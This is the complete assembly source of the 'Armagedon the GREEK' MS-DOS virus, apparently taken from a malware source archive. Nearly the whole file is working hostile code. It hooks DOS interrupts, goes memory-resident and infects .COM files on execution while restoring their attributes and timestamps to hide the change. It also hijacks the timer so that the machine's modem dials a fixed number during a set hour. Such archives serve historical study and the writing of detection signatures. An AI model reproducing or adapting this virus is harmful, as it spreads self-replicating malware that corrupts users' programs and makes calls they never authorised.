MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.armagedo.asm
2021-01-12 17:31:39 -06:00

524 lines
17 KiB
NASM
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

dta equ offset last_byte+10
virlen equ (offset last_byte - offset start)
strlen equ (offset endstr - offset startstr)
code segment
assume cs:code,ds:code
org 100h
start: jmp main
newint21 proc far ; SETS THE 'INT 21h' VIRUSED
pushf ; Save flags for compare
cmp ah,0e0h ; Is it exist-test?
jnz notest1 ; if not go on
mov ax,0dadah ; else return signature,
popf ; restore flag and
iret ; return to program
notest1: cmp ah,0e1h
jnz notest2
mov ax,cs
popf
iret
notest2: cmp ax,4b00h ; is 'EXEC' command?
jz infector ; if yes go to 'infection'
do_oldint: popf ; restore flags
jmp dword ptr cs:oldint21a; jump to normal INT 21h
newint21 endp
oldint21a dw ? ; old INT 21h vector (low)
oldint21b dw ? ; old INT 21h vector (high)
oldint8a dw ? ; old INT 8 vector (low)
oldint8b dw ? ; old INT 8 vector (high)
status db 0 ; flag for time (call in progress)
ticks db 0 ; 18.2 tick counter
cur_h db 0 ; Current time (HOURS)
cur_m db 0 ; Current time (MINUTES)
cur_s db 0 ; Current time (SECONDS)
count dw 0 ; dial counter (30 sec, 540 ticks)
garbidge db 0
stringpos db 0
call_made db 0
init_done db 0
comext db 'COM' ; Valid inf. extension
handle dw ? ; inf. handle number
filesize dw 20
prseg dw ?
seg_buffer dw ?
ss_reg dw ?
sp_reg dw ?
fileds dw ?
filedx dw ?
attr dw ?
filedate dw ?
filetime dw ?
env_seg dw 00h
cdline_offs dw 81h
cdline_seg dw ?
fcb1_offs dw 5ch
fcb1_seg dw ?
fcb2_offs dw 6ch
fcb2_seg dw ?
infector proc near ; PROGRAM INFECTOR
assume cs:code ;
push ds ; save registers to
push bx ; insure normal operation
push si ; by the INT 21h (ah=4b00h)
push cx ;
push ax ;
push dx ;
push bp ;
push es ;
push di ;
cld ; Reset direction to increament
push dx ; Store the address of the
push ds ; filespec (DS:DX)
xor cx,cx ; reset counter
mov si,dx ; set ptr to filespec
nxtchr: mov al,ds:[si] ; take a char
cmp al,0 ; is it zero?
jz okay ; if yes goto okay
inc cx ; else increase counter
inc si ; and pointer
jmp nxtchr ; take the next chr if CX>0
okay:
add dx,cx ; Point to end of filespec
sub dx,3 ; point to .EXT
mov si,offset comext ; Check if it is a
mov di,dx ; .COM file
cmp byte ptr ds:[di-3],'N';
jnz ok_1 ; Is it a ND. ?
cmp byte ptr ds:[di-2],'D'; if yes exit!
jz nmatch ;
ok_1: mov cx,3 ; checking counter in 3
cmp_loop: mov al,cs:[si] ; take 1st ptr's chr
cmp al,ds:[di] ; and compare it with filespec
jnz nmatch ; If no matching, exit
inc si ; else increase 1st ptr
inc di ; and second ptr
loop cmp_loop ; take next compare if CX>0
pop ds ; restore ds and dx to point
pop dx ;
push dx ; Store pointer
push ds ;
mov si,dx ; Check if filespec
mov dl,0 ; contains a drive
cmp byte ptr ds:[si+1],':'; letter
jnz nodrive ; If no jump to nodrive spec.
mov dl,ds:[si] ; else take the drive in DL
and dl,0fh ; and modify for int 21h (ah=36h)
nodrive: mov ah,36h ; Take free disk space of DL disk
int 21h ; Do the call
cmp ax,0ffffh ; Was an invalid drive specified?
jz nmatch ; if yes, exit
jmp bypass ; Correct jx 127 limit
nmatch: jmp nomatch
invd: jmp invdrive
closeit1: jmp closeit
resdta1: jmp resdta
bypass: cmp bx,3 ; Are there at least 3 clust. free?
jb nmatch ; If no, exit
pop ds ; restore pointers
pop dx ;
push ds ; and allocate memory
push dx ; for the infection
mov cs:fileds,ds
mov cs:filedx,dx
mov ax,4300h ; code for Get Attr
int 21h
mov cs:attr,cx
mov ax,4301h
xor cx,cx
int 21h
mov bx,0ffffh
mov ah,48h
int 21h
mov ah,48h
int 21h
mov cs:seg_buffer,ax
mov ax,cs
mov ds,ax
mov dx,dta
mov ah,1ah
int 21h
pop dx
pop ds
mov ax,3d02h ; DosFn OPEN FILE (R/W)
clc ; Clear carry flag
int 21h ; Do open
jc closeit1 ; If Error exit
mov bx,ax ; Handle to BX
mov cs:handle,ax ; save handle
mov cx,0ffffh ; Bytes to read
mov ax,cs:seg_buffer ;
mov ds,ax ;
mov dx,virlen ; DS:DX points to buffer
mov ah,3fh ; DosFn READ FROM FILE
clc ; clear carry flag
int 21h ; Do the call
jc closeit1 ; if error exit
mov cs:filesize,ax ; Num of bytes actually read
;cmp ax,0e000h ; max com size to infect
;ja closeit1 ; if size>max exit
cmp ax,virlen ; if filesize is less than the
jb virit ; virus size then it is clean
mov si,virlen+1 ; Set 1st ptr to START of file
add si,si ; add 1st ptr the length of file
sub si,21 ; and subtract 12 to point to sig.
mov cx,19 ; set the test loop to 10 bytes
mov di,offset signature ; Set 2nd ptr to constant signature
test_sig: mov al,ds:[si] ; take the byte pointed to by SI
mov ah,cs:[di] ; and compare it with the byte
cmp ah,al ; pointed to by DI
jne virit ; if not equal then it is clean!
inc si ; else increase 1st pointer
inc di ; increase 2nd pointer
loop test_sig ; continue with next if CX>0
jmp closeit
virit: mov ax,4200h ; Code for LSEEK (Start)
mov bx,cs:handle ; Handle num in BX
xor cx,cx ; Reset CX
mov dx,cx ; and DX
int 21h ; Do the call
jc closeit
mov si,offset start
mov cx,virlen
xor di,di
mov ax,cs:seg_buffer
mov ds,ax
virusin: mov al,cs:[si]
mov ds:[di],al
inc si
inc di
loop virusin
mov ax,5700h
mov bx,cs:handle
int 21h
mov cs:filetime,cx
mov cs:filedate,dx
mov ax,cs:seg_buffer
mov ds,ax
mov si,virlen
mov al,ds:[si]
add al,11
mov ds:[si],al
xor dx,dx ; DX points to Buffer (file)
mov cx,cs:filesize ; Size of file in CX
add cx,virlen ; But added by Virlen
mov bx,cs:handle ; File handle num in BX
mov ah,40h ; Code for WRITE FILE
int 21h ; Do the call
mov cx,cs:filetime
mov dx,cs:filedate
mov bx,cs:handle
mov ax,5701h
int 21h
closeit: mov bx,cs:handle ; Handle in BX
mov ah,3eh ; Code for CLOSE FILE
int 21h ; Do close it
push cs
pop ds
resdta: mov dx,80h ; Reset the DTA
mov ah,1ah ; in Address 80H
int 21h ; Do call
mov ax,cs:seg_buffer
mov es,ax
mov ah,49h
int 21h
mov ax,cs:fileds ;
mov ds,ax ;
mov dx,cs:filedx ;
mov ax,4301h ;
mov cx,cs:attr ;
int 21h ;
jmp invdrive ; and exit
nomatch:
pop ds
pop dx
jmp notinfect
invdrive:
notinfect:
pop di ; restore registers
pop es ; to their initial
pop bp ; values
pop dx ;
pop ax ;
pop cx ;
pop si ;
pop bx ;
pop ds ;
jmp do_oldint ; return from call
infector endp
newint8 proc far ; VIRUS' TIMER ISR
push bp ;
push ds ; store all registers
push es ; and flags before
push ax ; the new timer
push bx ; operations.
push cx ; Otherwize a 'crush'
push dx ; is unavoidable
push si ;
push di ;
pushf ; Simulate an INT
call dword ptr cs:oldint8a ; Do old timer stuff
call tick ; update virus clock routine
push cs
pop ds
mov ah,5 ; Check if time
mov ch,cur_h ; is now above the
cmp ah,ch ; lower limit (5 o'clock)
ja exitpoint ; if not, exit
mov ah,6 ; Check if time
cmp ah,ch ; is now below the higher limit
jb exitpoint ; if not, exit
mov ah,status ; get the virus status
cmp ah,1 ; test if call in progress
jz in_progress ; if yes goto countdown routine
mov ah,1 ; if not, set the status to
mov status,ah ; indicate 'In progress'
jmp exitpoint ; and exit
in_progress: ; CALL IS IN PROGRESS!
call dial ; else call dial routine
inc count ; CALL_TIMER
mov ax,count
cmp ax,540 ; check for time-out
jne exitpoint ; if not, exit else
xor ax,ax ; set status to indicate
mov status,ah ; 'ready to call'!
mov count,ax ; reset call_timer
mov call_made,ah
exitpoint:
pop di ; restore registers to
pop si ; their values and
pop dx ;
pop cx ;
pop bx ;
pop ax ;
pop es ;
pop ds ;
pop bp ;
iret ; return to program
newint8 endp
tick proc near ; VIRUS' CLOCK ROUTINE
assume cs:code,ds:code
push cs
pop ds
xor al,al
mov ah,ticks ; test if ticks have
cmp ah,17 ; reached limit (17)
jnz incticks ; if no, incerase ticks
mov ah,cur_s ; test if seconds have
cmp ah,59 ; reached limit (59)
jnz incsec ; if no, increase seconds
mov ah,cur_m ; test if minutes have
cmp ah,59 ; reached limit (59)
jnz incmin ; if no, increase minutes
mov ah,cur_h ; test if hours have
cmp ah,23 ; reached limit (23)
jnz inchour ; if no, increase hours
mov cur_h,al ; else reset hours
exitp3: mov cur_m,al ; reset minutes
exitp2: mov cur_s,al ; reset seconds
exitp1: mov ticks,al ; reset ticks
ret ; end exit
incticks: inc ticks ; increase ticks
ret ; and exit
incsec: inc cur_s ; increase seconds
jmp exitp1 ; and exit
incmin: inc cur_m ; increase minutes
jmp exitp2 ; and exit
inchour: inc cur_h ; increase hours
jmp exitp3 ; end exit
tick endp
startstr:
string db '+++aTh0m0s7=35dp081,,,,141'
endstr:
dial proc near
assume cs:code,ds:code
mov al,call_made
cmp al,1
jz exit_dial
mov al,init_done
cmp al,1
jz send_one
mov cx,3
next_init: mov dx,cx
xor ah,ah
mov al,131
int 14h
loop next_init
mov al,1
mov init_done,al
jmp exit_dial
send_one: push cs
pop ds
mov si,offset string
mov al,stringpos
cmp al,strlen
jnz do_send
jmp sendret
do_send: xor ah,ah
add si,ax
next_char: mov al,[si]
mov dx,3f8h
out dx,al
mov dx,2f8h
out dx,al
mov dx,2e8h
out dx,al
mov dx,3e8h
out dx,al
inc stringpos
jmp exit_dial
sendret: mov cx,3
retloop: mov dx,cx
mov al,13
mov ah,1
int 14h
loop retloop
reset: mov ax,0001h
mov call_made,al
mov stringpos,ah
mov init_done,ah
exit_dial: ret
dial endp
main: ; VIRUS' MEMORY INSTALLER
assume cs:code,ds:code ;
mov ah,0e0h ; is VIRUS already
int 21h ; in memory?
cmp ax,0dadah ; if yes then
jnz cont ; terminate, else
jmp already_in
cont: push cs
pop ds
mov ax,3521h ; capture the old
int 21h ; INT 21h vector and
mov oldint21a,bx ; store the absolute address
mov oldint21b,es ; in 'oldint21x' variables
mov dx,offset newint21 ; point to new INT 21h ISR
mov ax,2521h ; replace it to vector
int 21h ;
mov ax,3508h ; capture the old
int 21h ; timer vector and
mov oldint8a,bx ; store the address
mov oldint8b,es ; in 'oldint8x' var
mov dx,offset newint8 ; point to new timer ISR
mov ax,2508h ; replace it to vector
int 21h ;
mov ah,2ch ; get the current
int 21h ; time from DOS
mov cur_h,ch ; and store it
mov cur_m,cl ; for the
mov cur_s,dh ; virus' timer
; RUN PROGRAM!
mov ax,cs:[2ch]
mov ds,ax
xor si,si
loop1: mov al,ds:[si]
cmp al,1
jz exitl1
inc si
jmp loop1
exitl1: inc si
inc si
mov dx,si
mov ax,cs
mov es,ax ; SHRINK BLOCK
mov bx,90
mov ah,4ah
int 21h
mov bx,cs:[81h]
mov ax,cs
mov es,ax
mov cs:fcb1_seg,ax
mov cs:fcb2_seg,ax
mov cs:cdline_seg,ax
mov ax,4b00h
;
;
;
mov cs:ss_reg,ss
mov cs:sp_reg,sp
pushf
call dword ptr cs:oldint21a
mov ax,cs:ss_reg
mov ss,ax
mov ax,cs:sp_reg
mov sp,ax
mov ax,cs
mov ds,ax
mov dx,offset last_byte
int 27h
already_in: mov ah,0e1h
int 21h
mov si,offset pokelabl
mov cs:[si+3],ax
mov ax,offset fix_com
mov cs:[si+1],ax
mov ax,cs:filesize
mov bx,cs
pokelabl: db 0eah,00h,00h,00h,00h
fix_com: mov cx,ax
mov ds,bx
mov si,100h
mov di,100h+virlen
dofix: mov al,ds:[di]
mov ds:[si],al
inc si
inc di
loop dofix
mov si,offset poklb
mov cs:[si+3],ds
mov al,ds:[100h]
sub al,11
mov ds:[100h],al
mov ax,ds
mov es,ax
mov ss,ax
poklb: db 0eah,00h,01h,00h,00h
signature: db 'Armagedon the GREEK'
last_byte: db 90h+11
nop
nop
nop
mov ah,4ch
int 21h
code ends
end start